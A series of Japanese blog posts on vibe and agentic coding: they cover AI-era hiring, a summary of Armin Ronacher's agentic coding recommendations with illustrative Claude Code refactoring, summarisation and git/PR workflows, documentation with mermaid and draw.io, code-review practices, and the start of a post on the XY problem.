もちろん、話題性を狙って、たまたま同時期に行われた事業再編の対象者まで無理に含めている面がないわけではありません。しかし、AIが開発者の世界にもたらす変化が想像を超えるほど速く強力である、という点だけは否定しがたいでしょう。こうした状況で企業は何を考えるべきでしょうか。人を採用する方法を変えなければなりません。

これまでの時代の採用は「何を知っているか」「何ができるか」に集中していました。しかし今や、AIにできる仕事であれば、わざわざ人を採用する理由はありません。代わりに、人からしか得られない能力、すなわち戦略的思考とリーダーシップ、対人コミュニケーション能力を中心に、採用戦略を全面的に再編する必要があります。

TL;DR

• バイブコーディング時代の採用は、知識の保有量や成果物の生産能力よりも、AIが代替しにくい人間の能力を見るべきです。
• 検証すべき中心は、コミュニケーション、戦略的思考、リーダーシップ、協働、自己省察、レビュー能力です。
• 採用と昇進の基準を変えることは、組織全体にAI時代の方向性を伝える強いメッセージになります。

ではどうすればよいのでしょうか。AIが埋められない能力を効果的に検証するために、次のような採用方式を提案します。

第一に、採用の最初の段階からコミュニケーション能力を見ます。3分間の自己紹介動画を提出させ、簡単なエッセイを書かせて、論理的な表現力と意思疎通の力を確認するのです。AIが発達するほど、人と人、人とAIの間のコミュニケーションは以前よりはるかに重要になるからです。

第二に、戦略的思考力を見るために「適応型ビジネスケース」評価を導入します。候補者に曖昧な課題を提示し、提出直前に突然状況を変えてしまうというやり方です。現実のビジネスが常に明確な問題を与えてくれるわけではありません。危機や変動要因のなかでも冷静に戦略を立て直せる能力を見てこそ、本物の人材を見分けられます。

第三に、リーダーシップと協働能力を見るには「マルチプレイ・ミッションルーム」が使えます。応募者がAIを含む混成チームで課題を解決しながら、対立や危機的状況をどれだけ賢く管理するかを観察する方式です。誰がリーダーとして前に出るのか、AIをどう活用するのかに注目する必要があります。

第四に、深い行動ベースの面接を行います。応募者の過去の行動をSTAR法で問い、問題状況で実際にどう行動したのかを執拗に尋ねるべきです。そのなかから誠実さと自己省察の能力が浮かび上がってきます。

最後に、応募者のコードや文書の生産能力ではなく、コードや文書のレビュー能力を検証します。生産能力よりも、他者やAIが作った成果物をどれだけ速く正確に評価できるかを確認すべきです。レビュー能力はAI時代の中核能力として浮上することになるでしょう。

以上の提案は、まだ実施したことのない提案にすぎません。しかし、今は変わるべき時期です。誰かは変化のなかで生き残り、あるいは成功するでしょうし、誰かはこれまでどおりに続けながら安定的に衰退していくでしょう。企業は人が流れる一種のパイプラインです。そしてパイプラインは最初の段階が最も重要です。採用と昇進は、会社が構成員に投げかける最も明確なメッセージです。そしてそのためには、最高経営者の決断が必要です。変化の方向と速度を決めるのは、結局CEOの役割です。CEOの決断があってこそ、企業全体が変化に追いつき、先んじることができます。

この記事は、Armin Ronacherのブログ記事「Agentic Coding Recommendations」（エージェンティックコーディング推奨事項）をもとに執筆しました。

序文

数日前、開発者コミュニティGeek Newsでアルミン・ロナハー（Armin Ronacher）のブログ記事「Agentic Coding Recommendations」（エージェンティックコーディング推奨事項）に触れ、少なからぬ衝撃を受けました。記事の著者であるArminはもともとFlaskウェブフレームワークの創始者として有名ですが、彼のバイブコーディングに関する洞察が、Robocoの目指す方向とも重なっていたからです。今回の記事では、Claude Code、Cursor、Windsurfといったツールに触れ始めたばかりのバイブコーディング入門者に向けて、Arminの記事に込められた核心をわかりやすく解きほぐしてお伝えします。

TL;DR

• エージェンティックコーディングとは、AIエージェントに目標を任せ、開発者が結果と方向性を検討する進め方です。
• 単純な言語、高速なツール、明確なログ、保守的な依存関係管理が、エージェントのミスを減らします。
• AIがコードを多く書く環境であるほど、開発者は単純性、安定性、適切なリファクタリングのタイミングをより意識する必要があります。

エージェンティックコーディングとは何か

Arminの言うエージェンティックコーディング（Agentic Coding）とは、コーディング作業の多くの部分をAIエージェントに委任する開発手法です。ここでのエージェントとは、開発者の指示を受けて自ら作業を遂行する自律プログラムを意味します。ここでは人のようにコーディング業務を手伝ってくれるAIプログラムを指し、ファイル編集、コマンド実行、ウェブ検索など、開発に関わる作業を代理人（agent）のように処理します。

一般的なAIコーディングアシスタント（例：GitHub Copilotの自動補完、ChatGPTを用いたコード生成）よりさらに一歩進んで、エージェントに一つの作業目標を割り当てると、そのエージェントが自ら必要な一連の作業を遂行するというものです。

エージェンティックコーディングは、アンドレイ・カルパシー（Andrej Karpathy）によってバイブコーディングという用語が提案されるまで、AI主導の開発を指す最有力の用語であり、現在もバイブコーディングという用語と並んで多く使われています。この記事では原著者の意志を尊重し、バイブコーディングという用語の代わりにエージェンティックコーディングで用語を統一します。

わかりやすく言えば、人間の開発者が「プロジェクトXのバグを直して」と自然言語で指示すると、エージェントがそのコードベースを把握し、コードを修正し、テストを実行して結果まで出してくれるという流れです。この過程で開発者は細かなステップごとに介入せず、結果が出るまで待つのが特徴です。

このアプローチでは、これまで私たちが使ってきたIDE（統合開発環境）の役割も大きく縮小します。Arminの場合はエージェントがコーディングの大部分を処理するため、彼は最後の仕上げ程度をテキストエディタ（Vimのようなツール）で行っています。それほどまでにエージェントが主導的にコーディング過程を担うのが、エージェンティックコーディングの姿です。

では、なぜエージェンティックコーディングが必要なのでしょうか。まず、うまく活用すれば開発生産性を飛躍的に高められるからです。人間の開発者が多くの時間を費やす反復作業（例：コードのリファクタリング、複数ファイルにまたがる修正、長い文書やコードベースの把握）をエージェントが代わりに行ってくれれば、開発者はより創造的で重要な問題に集中できます。実際にArminは「エージェントを開発プロセスに統合すれば、相当な生産性向上が得られる」と強調しています。またこうした方法は、急速に発展中のAI技術の最新の可能性を開発に取り込む道でもあります。

最後に、エージェンティックコーディングは単に「コードをより速く書くこと」にとどまりません。究極的には、より高い品質のコードを書き、保守性と安定性を高めることを目標としています。Arminは、数か月前まではひどかったAIのコード出力が今ではかなり改善されたとしたうえで、今後も発展を重ねていくだろうと述べています。したがって、この記事の後半で見ていくClaude Codeのようなツールをうまく活用すれば、初心者の開発者も次第に「AIエージェントと協業する開発者」へと成長していけるでしょう。

Arminが提案するエージェンティックコーディングの核心原則

Armin Ronacherは自身の記事の中で、エージェンティックコーディングを効果的に活用するための助言を数多く示しています。プログラミングの基礎程度を知る読者にも理解できるよう、彼の主な推奨事項を一つずつ解きほぐして説明します。

1. 単純で安定した言語の選択：エージェントが扱う言語を選べるのであれば、可能な限り単純な言語を選ぶようArminは勧めています。彼は新しいバックエンドプロジェクトの場合にGo言語を強く推奨しましたが、その理由は明確です。Goは文法が単純で予測可能なため、エージェント（LLM）がミスをする余地が少なく、テストの実行も自動で一度にうまく動作するからです。たとえばGoではgo testコマンドで必要なテストを一度にまとめて回せます。エージェントがテスト対象の選定で混乱することがありません。またGoのエコシステムは変化が遅く後方互換性が良いため、AIが古い例示コードを生成する危険が小さいのです。一方、Pythonのようにマジック（magic）の多い動的言語では、エージェントが隠れた挙動を誤解したり、実行環境の問題で試行錯誤しやすいといいます。したがって、言語自体が単純で環境の変化が少ないほど、エージェントはより安定してコードを扱えます。

2. エージェントに優しい開発ツールの設定：言語と同じくらい、開発ツール（tool）をどう整えるかも重要です。Arminの助言は「ツールは何でも構わないが、必ず速く明確に動作しなければならない」というものです。エージェントは皆さんの環境でbashコマンド、ビルドツール、テストランナーなどを実行することになりますが、反応が遅かったり出力が不必要に冗長なツールは避けるべきです。たとえばArminは自身のプロジェクトでMakefileを活用し、よく使うコマンドを整理しています。make devで開発サーバーを立ち上げ、make tail-logでログを見るという具合です。重要なのは、エージェントがこうしたツールを使う際にエラーが出たら即座に知らせ（logging）、重複実行を防ぐといった保護の仕組みも必要だという点です。実例として、Arminはプロセス管理ツールを修正し、すでにサーバーが実行中であれば二度目を立ち上げられないようにし、その代わり「すでに実行中」というエラーを明確に出力するようにしました。おかげでエージェントはmake devを実行したときにサーバーがすでに動いているかを判断し、すぐにログを確認する次のステップへ進むことができました。

そしてログ（logging）そのものをエージェンティックコーディングの核心的なツールとして活用するよう、Arminは繰り返し強調しています。たとえば会員登録時に認証メールを実際に送る代わりに、開発モードではメールの内容をコンソールログに出力しておけば、エージェントがそのログを読んで認証リンクを自動的に見つけてクリックできます。Arminは自身のCLAUDE.md設定ファイルに「デバッグモードではメールがログに出力される」という情報を入れておき、Claudeエージェントはそれを参照して、実際に会員登録から認証までを自ら完了させました。このように、明確なログと親切なツールの出力はエージェントの目と耳になってくれます。私たちが開発するときにコンソールやログを見ながら問題を把握するのと同じく、エージェントもログを通じて状況を理解し、次の行動を決めるからです。

3. 速度と効率の最適化：エージェンティックコーディングのボトルネックは、主にAIモデルの推論コストと非効率なツールの使用から生じます。したがって応答速度を上げ、不要なトークンの浪費を減らすことが重要です。上で述べたとおりツールの迅速な実行が基本であり、さらにエージェントが新たに書いて実行するコード（「emergent tool」）もできる限り軽く作るべきです。たとえば、エージェントがある作業のために一時的なPythonスクリプトを書いて回すとしましょう。このときそのスクリプトの実行に5秒かかり、実行のたびに初期化で1分ずつ消費するとすれば、全体の流れは大きく遅くなります。Arminは実際の業務プロジェクト（Sentry）で、エージェントがコードをリロードするのに時間がかかりすぎたため、一時的に「ファイルの変更を検知して自動的にモジュールをimportし、結果をログに書く」デーモンを作り、エージェントに活用させたといいます。複雑な再起動なしに素早くコードを注入して実行結果だけを確認させたわけです。このような創造的な方法で、できる限りリアルタイムに近いフィードバックを返すよう環境をチューニングすれば、エージェントの作業効率は上がります。またログもあまり冗長だとトークンを食い速度を落とすので、重要な情報だけを含むよう適切な水準に調節するのがよいと助言しています。

4. 安定性と最小驚きの原則：Arminは「安定したエコシステム」の価値を繰り返し言及します。AIがコードベースを扱うとき、外部の変化が少ない環境でははるかにミスが減ります。たとえばLLMエージェントはGoやFlaskのような長く検証された技術スタックを好みます。逆に、依存関係が激しく変わるJavaScriptエコシステムのように、毎日新しいバージョンとライブラリが押し寄せる環境では、AIが数日前のコードを参照して誤ったコードを生成する危険が高くなります。またエージェントは、コードを書きながら決定した理由をコメントとして残すなど、自分なりの痕跡（breadcrumb）を残す傾向がありますが、私たちが何気なく依存ライブラリを最新バージョンに上げてしまうと、そうしたコメントやコードパターンはたちまち古いものになり、AIの思考の流れに混乱を与えかねません。人間も同じですが、AIは「どうせテストが通ればいいのでは」という気持ちで手軽にアップグレードを試みることがあるので、特に注意が必要です。Arminの助言を一言で言えば「以前よりもさらに保守的にアップグレードせよ」ということです。そして新しいライブラリをあまり使わず、可能なら直接コードで実装するほうがよいとも述べています。どうせエージェントが素早くコードを作ってくれるのだから、複雑な依存関係を持ち込む代わりに必要な機能は自分で書き、一貫性と予測可能性を保てという意味です。実際にArminは「なぜ自分でコードを書くべきか」という題の記事を以前書いており、エージェンティックコーディングをやってみてその考えがより確固たるものになったといいます。

5. コードは可能な限り単純に：「複雑なコードはエージェント環境で性能が出ない。最も愚かに見えるが動く解決策を選べ」——Arminが強調した一文です。エージェントがコードを扱うときは明瞭さが最優先です。したがって開発者は普段よりもさらに直截的で単純なコードスタイルを追求すべきです。たとえば複雑なクラス継承よりも、長く具体的な名前の関数を複数作るほうが理解しやすくなります。あまりに抽象的なパターンやマジック（マジックナンバー、リフレクションなど）を乱発すると、AIは文脈を見失いやすくなります。Arminは「普通のSQLクエリを直接書け」とまで助言します。ORMなどを通じて間接的にデータベースを扱うより、いっそエージェントにSQLを書かせたほうが、AIがログのSQL出力と自分のコードをすぐに対応づけてデバッグしやすくなります。また権限チェックのような重要なロジックは、可能な限り当該コードの近くに置くべきです。もし権限検査が設定ファイルやデコレータに隠れていると、エージェントが新しい機能を追加する際にその部分を見落とし、セキュリティホールを作るおそれがあります。結局、「単純明瞭で一貫したコード」がエージェントにも人間にも良いコードだ、ということです。

6. 並列化（Parallelization）を念頭に置く：エージェント一つでは非常に速いわけではありませんが、複数を同時に走らせれば作業を並列処理して効率を高められます。たとえば数百個のファイルのlintエラーを一度に直さなければならない場合、一つのエージェントが順番に処理する代わりに、複数のエージェントにそれぞれ一部のファイルを任せるという具合です。そのためには、共有資源（ファイルシステム、DBなど）の衝突を最小化できるようプロジェクトを構成する必要があります。簡単なことではありませんが、ArminはDockerを用いた隔離実行ツールや、CI（継続的インテグレーション）環境でバックグラウンドエージェントを走らせるなど、初期の試みが出てきていると紹介しています。現在は自身のワークフローに完全には適用できていないものの、まもなく急速に発展する分野だと見通しており、遠からず実用化される可能性があります。

7. 適時にリファクタリングする：エージェンティックコーディング環境では、リファクタリング（refactoring）のタイミングが重要です。エージェントは一定の水準までは、そこそこの複雑さのコードでも問題なく処理します。しかしプロジェクトの規模と複雑度が限界点を超えると、エージェントの文脈維持能力にも限界が来ます。Arminはたとえば「序盤はフロントエンドにTailwind CSSのクラスをあちこちに書き散らしながらエージェントと素早く開発を進められるが、ファイル50個にスタイルが散らばった時点で、もうコンポーネントライブラリへ構造を再編するときだ」と述べています。それほどコードベースが膨大になると、エージェントも一貫した修正が難しくなり、大きな修正時にバグが続出しかねません。したがって、早すぎるリファクタリングで初期の速度を殺す必要はありませんが、遅らせすぎると、エージェントにも収拾がつかなくなる時点が来るということです。人であれAIであれ、適切な時点でコード構造を整理してやることは保守に不可欠です。エージェンティックコーディングをしていると、エージェントが新しい関数やファイルをすらすら追加してくれるため、あるタイミングでは開発者が乗り出して重複コードをまとめ、モジュール化するといった大掃除をしてやってこそ、その後の作業が楽になります。

これらの原則は、Arminが「今後技術が変わっても有効な本質的な概念」と強調した部分です。実際のツールや技法は速く進化していくでしょうが、単純性、安定性、観測可能性（ログなど）、賢い並列化といった原則は、今後もエージェンティックコーディングの成否を分ける要素だという意味です。私たちRobocoチームもこうした洞察に深く共感しており、AIとともにあるコーディング文化が健全に定着するためには、上記のようなソフトウェア工学の基本原則がいっそう重要になると信じています。

Claude Code活用の実践例

ここからは、Anthropic社のClaude Codeというツールを通じて、上で述べたエージェンティックコーディングが実際にどのように行われるのかを見ていきます。Claude CodeはArminが主に使用するコマンドライン基盤のAIコーディングエージェントで、プロジェクトディレクトリでターミナルコマンド（claude）から実行します。このエージェントはコードベースを理解してファイルを編集し、テストやビルドのコマンドを直接実行できます。またGitと統合されており、gitの履歴検索やコミット、PR作成まで手伝ってくれる強力なツールです。以下にClaude Codeを活用したいくつかの状況別の例を紹介します。

コードリファクタリングの例

たとえば、processData()という関数の性能問題を改善したいとしましょう。普段であれば開発者がその関数を開いてロジックを修正し、関連する部分の動作を検証する必要があります。Claude Codeを使えば、こうしたリファクタリング作業をかなりの部分まで自動化できます。開発者は自然言語で簡単に指示します。

processData()関数をリファクタリングして、すべてのデータを一度にロードする代わりにストリーミングを使うように変更して。

プロンプトを入力すると、Claude Codeエージェントが自らprocessData関数のあるファイルを開いてコードの修正を始めます。たとえば、一度にすべてのデータをメモリに載せていた部分をストリーミング方式に変更し、必要であれば関連する関数のシグネチャも修正するでしょう。Claude Codeは修正後、自動的にプロジェクトのテストを実行し、リファクタリングが既存の機能を壊していないかを確認します。もしテストで失敗が発生すれば、エージェントが原因を分析してコードをさらに修正することもあります。すべてのテストが通れば、Claude Codeは開発者に「リファクタリング完了、メモリ使用が大きく減りました。既存のテストもすべて通りました」といった要約結果を見せてくれるでしょう。開発者はこの変更内容（diff）を確認し、満足できればそのままコミットすることもできます。

文書要約の例

エージェントはコーディングだけでなく、文書の理解や要約の作業にも役立ちます。プロジェクトに新しい開発者が加わったと仮定してみましょう。この開発者がARCHITECTURE.mdという設計文書を素早く把握しなければならないとき、Claude Codeに要約を頼むことができます。

docs/ARCHITECTURE.mdの内容を3行で要約して

Claude Codeは該当のマークダウン文書を読み、核心的な内容を抜き出して要約してくれます。たとえば次のような結果を出力してくれるでしょう。

- このプロジェクトはクライアント・サーバーアーキテクチャで構成されており、サーバーはREST APIを提供する。
- ユーザー認証と権限管理のためのモジュールが含まれており、役割に応じて機能へのアクセスが制限される。
- 拡張性のためにメッセージキューとキャッシュを導入し、今後増加するトラフィックにも対応できるよう設計されている。

要約されたポイントを通じて、新しく来た開発者は短時間でシステムの構造を理解できます。このようにClaude Codeは、プロジェクトのコードだけでなく関連文書まで文脈を把握して、質問に答えたり要約したりするのに活用できます。膨大なコードベースの中で特定の機能がどこに実装されているかを尋ねたり、設定ファイルの役割を尋ねたりと、コードQ&Aアシスタントとして使うこともできます。

関数生成の例

今度は新しい機能を追加するコード生成のシナリオです。たとえば、ユーザーアカウントの削除時に事前に権限を確認するロジックが必要だとしましょう。そのためにcheckPermissionBeforeDelete()という関数を追加したいなら、Claude Codeに関数を作ってほしいと依頼できます。

ユーザーに削除権限がない場合にエラーが発生するようにする checkPermissionBeforeDelete(user) 関数を生成して

この指示を受けると、Claude Codeはプロジェクトのコードを見渡しながら、どのような権限体系を使っているかを把握します。そして適切な場所（たとえばuser_utils.pyファイル）に新しい関数を書きます。関数の内部には、userオブジェクトやIDを受け取ってそのユーザーに削除権限があるかを検査し、なければ例外を発生させるロジックが含まれるでしょう。Claude Codeはコーディング規約を守りながら（プロジェクトがDjangoならデコレータを活用することもあれば、単純なif-checkのこともあります）関数を生成します。作成が終わると、自ら簡単なテストを実行したり、既存のテストコードにこの関数を使う部分が必要かどうかを提案したりすることもあります。結局、開発者は完成した関数のコードとエージェントの説明を確認し、必要であれば少しの修正やコメントの補足をしてから保存すればよいのです。このように、新しい機能の実装もエージェントと対話しながら素早く進められます。

Claude CodeとGitの連携の使い方

Claude CodeはGitとも密接に統合されています。バージョン管理の作業にも役立ちます。簡単なシナリオを通じて、どのように活用できるかを見てみましょう。

例示シナリオ：バグ修正後にコードを保存して共有する過程

1. バグ状況の把握：GitHubのイシューとして報告されたバグが一つあります。開発者はClaude Codeに_「イシュー#37に説明されているバグを解決して」_と指示します。エージェントはGitHub CLI（gh）を使ってイシューの内容を読んだり、ローカルに取得しておいたイシューの説明を参照したりして、どのような問題かを理解します。そしてコードベースからそのバグの原因を見つけて修正します。たとえばnullチェックが抜けていて発生したバグであれば、条件文を追加するという具合です。Claude Codeは修正後、関連するテスト（gh CLIでのCIテスト実行など）まで行い、バグが解決されたかを確認します。

2. コード変更の検討：バグが直ったら、Claude Codeは*「問題を起こしていた関数にnull値の検査を追加し、これですべてのテストを通過しました」と報告するでしょう。開発者はClaude Codeが提示したコードの変更（diff）を確認します。必要であれば_「コメントをもう少し付けて」_あるいは「この部分の変数名をもっと意味のあるものに変えて」*とClaude Codeに追加の指示を出すこともできます。エージェントは要求に応じてコードを再修正してくれるでしょう。

3. コミットとプッシュ：修正結果に満足したら、いよいよGitコミットの番です。適切なコミットメッセージも修正内容に合わせて自動的に生成されます。

たとえばエージェントはgit commitコマンドを実行して、現在の変更内容を’Fix null pointer bug in processData function’というメッセージでコミットできるでしょう。同じようにgit pushコマンドもエージェントを通じて実行させられます。つまり、コードの修正からコミット・プッシュまでを一つの流れとしてエージェントが補助してくれるわけです。

4. Pull Requestの作成：GitHubにコードを反映するにはPR（Pull Request）を作らなければなりません。Claude CodeはGitHub CLI（gh）を使えるので、次のように指示すれば、

バグ修正ブランチをメインブランチにマージするためのPRを作成して。

エージェントはgh pr createなどのコマンドを自ら呼び出して、適当なタイトルおよび内容とともに現在のバグ修正ブランチのPRを作成します。続いてPR本文にイシュー番号を紐づけたり、変更内容の要約を書いたりもしてくれます。結果として開発者は、ウェブインターフェースをいちいち開いてクリックしなくても、ターミナルの中で自然言語のままPRまで作成してしまえるのです。

このようなGit連携の活用は、チーム協業にも有用です。たとえばMerge Conflict（マージ衝突）が発生したとき、Claude Codeに解決を任せることもできます。*「生成された衝突を自動で直して」と言えば、エージェントが衝突マーカー（<<<<、====、>>>>）を探し、最もそれらしい形でまとめようと試みます。終わったら「衝突を解決し、コードが正常にコンパイルされます」*と知らせてくれるでしょう。

また、複数の開発者が同時に作業する大規模プロジェクトであれば、エージェントを並列に活用して複数のイシューを同時に処理し、それぞれ別のブランチにコミットさせることもできます。たとえば一つのエージェントは機能Aを開発し、別のエージェントはバグBを修正させたうえで、二つの成果物をそれぞれPRとして上げてコードレビューを受けるという具合です。このようにClaude CodeとGitの組み合わせは、コーディング→テスト→コミット→PRへと続く開発サイクルをかなりの部分まで自動化してくれます。

（参考までに、Claude Codeを初めて使うときは、重要なシステム変更を伴うコマンドについて安全装置として確認を求めてくる場合があります。たとえばファイルの削除や大きなコミットのような動作にはユーザーの許可を求めますが、Arminのような上級ユーザーは--dangerously-skip-permissionsオプションで、いちいち許可を押す過程を省略することもあります。しかし初心者であれば、デフォルト設定のままにして、エージェントのすべての行動を目で確認しながら進めることをおすすめします。）

おわりに：初心者開発者のための現実的な助言

エージェンティックコーディングとClaude Codeの世界は、初めて触れると少し不慣れで複雑に感じられるかもしれません。しかし一つずつ着実に近づいていけば、初心者の開発者でも十分に活用できるツールであり、むしろ学習と成長に大きく役立ちます。最後に、初心者がClaude Codeを活用してエージェンティックコーディングの力量を伸ばすための現実的な助言を整理して、この記事を締めくくります。

• 1. 小さなことから始める：最初はClaude Codeにあまりに複雑なプロジェクト全体を任せるよりも、小さな作業単位で試してみてください。たとえば「この関数にコメントを付けて」や「簡単なユニットテストを作って」といった依頼から始めるとよいでしょう。こうして成功と失敗を経験しながら、エージェントの能力と限界を把握してみてください。
• 2. 結果は必ず検討する：Claude Codeがいくら賢くても、生成したコードや修正内容を人間の開発者が検討する段階は必須です。エージェントはときどき見当違いの修正や些細なバグを残すことがあるので、初心者であっても出力を丁寧に読み、テストをさらに回してみる習慣を持ってください。まるで先輩開発者のコードをレビューするようにエージェントのコードに向き合えば、誤った部分を発見し、学ぶ機会にすることができます。
• 3. 実験してチューニングする：先に紹介したCLAUDE.mdのような設定ファイルや、プロジェクトのMakefile、スクリプトツールなどを活用して、エージェントがより良く働くよう環境をチューニングしてみてください。たとえばよく使うコマンドをCLAUDE.mdに書いておいたり、プロジェクトのルール（コーディングスタイル、ブランチ戦略など）を記録しておいたりすれば、Claude Codeがそれを覚えて従うようにできます。こうした環境の改善は開発者本人の作業効率にも直結するので、一石二鳥です。
• 4. 最新情報を逃さないこと：Arminが強調したように、この分野の変化の速度は非常に速いです。Claude Code自体も更新され続けており、類似の代替ツール（例：OpenAI Codex、Cursorなど）も速いペースで更新されています。初心者の開発者であっても、時間を取って関連ニュースやコミュニティを確認し、新しい機能やベストプラクティス（best practice）を身につけておけば大いに役立ちます。たとえばClaude Codeに並列作業エージェント機能が追加されたという知らせに触れたなら、すぐに試して経験を増やしてみてください。
• 5. 基礎は重要：最後に、エージェンティックコーディングが万能ではないという点を肝に銘じるべきです。AIが多くのことを助けてくれますが、だからといってプログラミングの基本原理やデータ構造、アルゴリズムの勉強をおろそかにしてはいけません。むしろこうした知識を固めるほど、エージェントをより良く使いこなせるようになります。どんな問題を解決すべきか、どの方向の修正が必要かは、結局のところ開発者の判断が必要であり、そうしてこそ正しい指示をエージェントに出すことができます。また基礎があれば、エージェントが作り出した結果を分析して正誤を判断できます。

Armin Ronacherの経験談に見られるように、AIエージェントと協業するコーディングは、開発者の役割を完全に代替するというより、一段と増幅してくれる道具に近いものです。初心者の開発者も萎縮する必要はありません。小さなプロジェクトでもいいので、自分でClaude Codeをインストールして試してみてください。最初は少しぎこちないものですが、エージェントをもう一人のチームメンバーやペアプログラマーだと思って対話を続けてみてください。いつの間にか反復作業はてきぱきと処理され、皆さんはより大きな絵に集中しながら成長している自分を見つけることになるでしょう。

最後に、恐れずに適応力をもって学んでいくことをおすすめします。Arminもまた「今日のワークフローは明日には完全に変わっているかもしれない」と述べていますが、その核心原則は変わらず通用するだろうと言っています。単純さ、安定性、可視性といった原則を胸に刻み、新しい時代の開発の流れを楽しんでみてください。AIと人が力を合わせてより良いコードを書くエージェンティックコーディングの世界へようこそ。そして、幸せなバイブコーディングになりますように！

Armin Ronacherのライブコーディング動画（YouTube）

バイブコーディングをするとき、人はしばしばコードさえあれば十分だと考えがちです。しかし現実は違います。文書化のないコードは、地図を持たずに出かける旅のようなものです。目的地がどこなのか、道のりがどうなっているのかが分からなければ、誰も一緒に来てはくれません。バイブコーディングにおいて文書化が特に重要なのは、コードが単に動作するためのものではなく、アイデアと設計の意図を他の人に正確に共有するためのものだからです。文書化は協働を滑らかにし、プロジェクトの方向性を明確にし、ひいては持続可能な開発環境を築く土台になります。

私は文書化の作業をコードと一緒に管理する方式を強くおすすめします。特にMarkdownとmermaidを使えば、シンプルで明確な図をすばやく作成できます。複雑な構造や流れを長い言葉の代わりに図ひとつで表せるので、意思疎通がはるかに効果的になります。

もちろん、mermaidだけでは足りないこともあります。より精緻で複雑な図が必要なときは、draw.ioを使うことができます。draw.ioはXMLベースの.drawioというファイル形式を使うため、AIにこの形式で図を生成するよう指示すれば比較的簡単に作業できます。ただし、AWSアイコンのような特定のアイコンのIDは公開されていないので、AIがそのまま活用するのは容易ではありません。

そこで私は、draw.ioクライアントからAWSアーキテクチャアイコンのIDを直接抽出し、別途文書化しました。これによってAIにアイコンIDを教え、望むアイコンを正確に活用できるようにしたわけです。この文書は、次のGitHubリポジトリで実際に作業した例を通して確認できます。

TL;DR

• バイブコーディングにおいて文書化は選択肢ではなく、設計意図と協働の文脈を共有するための中核的な作業です。
• 単純な構造ならMarkdownとmermaidで十分ですが、より精緻なアーキテクチャ図はdraw.ioファイルをAIと一緒に生成できます。
• AWSアイコンのようにAIが知りにくい細かなIDは、別文書として与えれば望みどおりの図をより正確に作れます。

ECS - Fargate Fast Scaleout

このようにして生成された図は、VS Codeのdrawio関連の拡張機能を使えば手軽にプレビューしたり修正したりできます。また、draw.ioクライアントをインストールすると一緒に提供されるCLIツールで、簡単にSVGやPNG形式の画像に変換して文書へ挿入することもできます。

一方で、最近のmermaidの最新バージョンでは、AWSアイコンをはじめとするさまざまなアーキテクチャアイコンが標準でサポートされ始めました。公式ドキュメントを参照すればすぐに活用できます。ただし、GitHubではまだこの最新機能がサポートされていないため、先ほど説明した方法が当面は最も有用なアプローチになるでしょう。

良い文書は単なる説明書にとどまらず、協働の質を高め、長期的にプロジェクトの価値を持続させます。バイブコーディングにおいて文書化は選択ではなく必須です。

バイブコーディングを導入すると開発のさまざまな領域が自動化され、生産性が向上するのは事実です。しかし、結果に責任を負うレビューは人間がやらなければならないため、結局レビュー（ドキュメントレビュー、計画レビュー、コードレビューなど）でボトルネックが発生します。今日はレビューについて話してみたいと思います。

TL;DR

• バイブコーディングは生成の速度を上げますが、コード・ドキュメント・計画のレビューがそのままなら、ボトルネックはレビュー段階へ移動します。
• レビュー品質を高めるには、承認の責任を明確にし、チェックリストとリスク表示によってレビュアーが能動的に判断するようにしなければなりません。
• 自動化が増えるほど人間のレビューはより責任ある形で設計される必要があり、小さな行動にも意味と責任を与える構造が求められます。

まずはコードレビューの話から始めましょう。

コードレビューでボトルネックが生じるのは、たいていレビュアーが責任をあまり感じていなかったり、受動的にボタンを押すだけになっていたりするからです。これを改善するには、「承認ボタンを押せばコード品質に共同で責任を負うことになる」という明確なルールを作るとよいでしょう。承認の前にレビュアー自身が「このコードの品質と安全性をすべて確認しました」という誓約文を確認するようにすれば、心理的な責任感は確実に高まります。

また、レビューする項目をチェックリストとして整理し、レビュアーに細かく検討させる方法も効果的です。コードレビューで性能、セキュリティ、コードスタイルなどを項目ごとに点検すれば、見落としなく体系的にレビューできます。実際、一度のコードレビューを400行以下に制限してチェックリストを活用すると、欠陥の発見率が大きく高まると言われています。この方法は実際に多くの企業で成果を上げています。

開発者に対して、レビュー時のリスクや重要性を強調して提示するのもよいでしょう。「この変更は決済システムに関わるので、非常に慎重に見なければならない」といった文言を入れておけば、レビュアーは適当に流さず、より責任を持って向き合うようになります。さらに、レビューで発見されずに問題へつながった実際の事例を共有すれば、レビュアーは自分の役割がどれほど重要かを実感し、いっそう注意を払うようになります。

社会的比較や称賛の文化もよい方法です。「レビュー活動が最も活発な開発者」を選んだり、レビューを通じて欠陥を捕まえた事例を称賛して表彰する小さなイベントを開いたりするのも効果があります。レビュー活動をゲームのように仕立てて協力的で楽しいものにすれば、開発者はレビュー作業そのものを達成のプロセスとして受け止めるようになります。

ドキュメントレビューも同じです。ドキュメントをレビューする際に、開発者が技術的なシナリオや性能上の問題、エラー処理のシナリオなどをチェックリストで細かく検討すれば、レビューの質は高まります。また、レビュー開始前に「今回のドキュメントでは最低でも一つは改善点を必ず見つけよう」といったルールを基本として設定しておけば、開発者はレビューの過程で能動的に意見を出すようになります。開発者があらかじめドキュメントを読んで参加できるよう、簡単な質問票を渡すのもよい方法です。

計画レビューでは、開発者が現実的な観点を提供することが重要です。企画が過度に楽観的なとき、開発者が「最悪のシナリオは何か？」といった問いを通じて現実的なリスク要因を引き出すよう促すと効果的です。レビュー後、意見が実際のプロジェクトにどう反映されたのか、フィードバックを共有することも重要な要素です。レビューの結果が現実でどう作用したのかを知ることで、次のレビューにはより真剣に臨むようになります。

結局レビューというものは、責任感と参加度がすべてです。バイブコーディングの時代に自動化が増えるほど、人間の責任あるレビューはいっそう重要になります。ですからレビューを設計するときに人間の行動心理をうまく活用すれば、自然とレビュー品質と生産性を高めることができます。大切なのは、小さな行動一つにも意味を与え、責任を感じさせることです。そうすればレビューのボトルネック緩和に役立つだけでなく、品質も向上するでしょう。

XY問題（XY Problem）について聞いたことがあるでしょうか。この概念を簡単に言えば、本当の問題（X）は放っておいて、自分が勝手に思いついた解決策（Y）に執着してしまう現象です。たとえばこんな具合です。車のエンジンがかからないからといって、きちんと確認もせずにバッテリーの問題だと決めつけ、「バッテリーのブースターケーブルはどうつなぐのか」と尋ねるのです。本当の問題は「エンジンがかからない」ことであり、バッテリーが問題なのか、燃料が切れているのか、電気系統なのかも分からない状況で、Y（ブースターケーブルの接続）にしがみついてもがいているわけです。

TL;DR

• バイブコーディングにおいても、本当の問題よりユーザーが推測した解決策にAIが固執するXY問題は簡単に発生します。
• 「テストを通してほしい」といった指示は、失敗原因の解決ではなくテストの修正だと誤解されることがあります。
• ルールファイルに意図確認の手順を入れておけば、AIが作業前に目的を問い返すようになり、見当違いの方向へ進んでしまうことを減らせます。

